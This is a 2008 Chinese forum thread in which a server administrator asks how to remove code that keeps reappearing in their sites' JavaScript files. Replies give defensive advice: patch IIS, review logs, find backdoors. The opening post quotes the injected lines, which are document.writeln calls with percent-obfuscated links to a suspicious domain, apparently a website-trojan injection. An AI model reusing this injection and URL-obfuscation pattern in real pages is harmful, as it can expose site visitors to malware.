Time: 2008-07-18 16:35

只看楼主 楼主

我的服务器中毒了 请求如何解决(急)

我的服务器中毒了 请求如何解决

详情: 前台网站打开后,360提示 "中木马或恶意插件",服务器里所有网站都有这个提示, 进去程序里,发现部分甚至所有js后缀的网页最底部都有这么几串代码 如下:


document.writeln("http://union1860%2Ecn\">>");
document.writeln("http://un%69on1860.cn\">>");
document.writeln("http://union186%30.cn\">>");
document.writeln("http://union1860.%63n\">>");
document.writeln("http://union%31860.cn\">>");
document.writeln("http://un%69on1860.cn\">>");
document.writeln("http://union1860%2Ecn\">>");
document.writeln("http://union18%360.cn\">>");

然后把所有这样的代码全部删掉,第二天又神不知鬼不觉的出现在JS里
请问怎么样才能完全根除,

还问一下,这个病毒跟网站数据库有联系吗 加入在数据库也有 请问怎么删除
CHINAZ官方广告

IP:211.*.*.*     TOP

Time: 2008-07-18 17:32

只看该用户 沙发

Re:我的服务器中毒了 请求如何解决(急)

360说的话不敢相信啊  感觉它就没什么预防能力 还喜欢瞎忽悠人

IP:211.*.*.*     TOP

Time: 2008-07-18 18:11

只看该用户 板凳

Re:我的服务器中毒了 请求如何解决(急)

经常360误报误杀的,真是没办法啊,只能劝楼主不要用它了

IP:58.*.*.*     TOP

Time: 2008-07-19 09:32

只看该用户 地板

Re:我的服务器中毒了 请求如何解决(急)

服务器和单机都可以安装使用NOD32
时时升级码:http://sudown.com/nod32.html

如果是ARP木马,请安装使用360ARP防火墙
阳光变冷的签名

IP:222.*.*.*     TOP

Time: 2008-07-20 11:48

只看该用户 #4

Re:我的服务器中毒了 请求如何解决(急)

第一种情况是ARP病毒,装ARP防火墙解决
第二种是iis被攻击了,所有网站加了页脚(打补丁,并清除该页脚)
第三种是程序有漏洞,检查所有程序并查找程序里的木马,现在有批量挂木的程序.
zhangjinwei的签名
新站上线:护栏网

IP:124.*.*.*     TOP

Time: 2008-07-21 09:32

只看该用户 #5

Re:我的服务器中毒了 请求如何解决(急)

查查上面是否有木马文件,程序是否有漏洞
fjjc的签名
专业服务器维护,安全设置。漏洞修复、木马处理、挂马处理、技术咨询。
网站设计、网站制作、网站策划
QQ:43131972 www.flashz.net

IP:218.*.*.*     TOP

Time: 2008-07-21 16:27

只看该用户 #6

Re:我的服务器中毒了 请求如何解决(急)

服务器安全高手给你支招
1.根据你说的信息可以确定不是arp病毒。
2.清理被挂代码不是目的,你可以根据被修改文件的时间去查网站日志,找到有漏洞的页面修复。
3.程序中应该有黑客留下后门文件,查日志找出来。
4.搞不定联系我QQ 7527306
itkk123的签名

IP:211.*.*.*     TOP